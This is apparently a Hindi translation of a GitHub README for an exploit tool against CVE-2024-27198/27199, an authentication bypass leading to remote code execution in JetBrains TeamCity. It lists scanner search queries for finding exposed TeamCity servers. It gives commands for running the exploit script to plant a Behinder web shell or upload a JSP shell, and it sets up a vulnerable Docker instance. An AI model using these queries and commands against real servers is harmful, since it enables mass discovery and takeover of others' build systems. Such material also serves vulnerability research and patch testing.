w01fh4cker/cve-2024-27198-rceCVE-2024-27198 और CVE-2024-27199 प्रमाणीकरण बाईपास --> JetBrains TeamCity Pre-2023.11.4 में RCE
app="JET_BRAINS-TeamCity"
app:"JetBrains TeamCity"
product.name="TeamCity"
http.component:"teamcity"
मैं Python3.9 का उपयोग कर रहा हूँ।
pip install requests urllib3 faker
python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 --behinder4
# python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 -f shell.jsp
इसके अलावा:
python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111
कमज़ोर इमेज को खींचने और शुरू करने के लिए डॉकर का उपयोग करें:
sudo docker pull jetbrains/teamcity-server:2023.11.3
sudo docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
# sudo ufw disable
फिर बुनियादी सेटिंग्स करें:
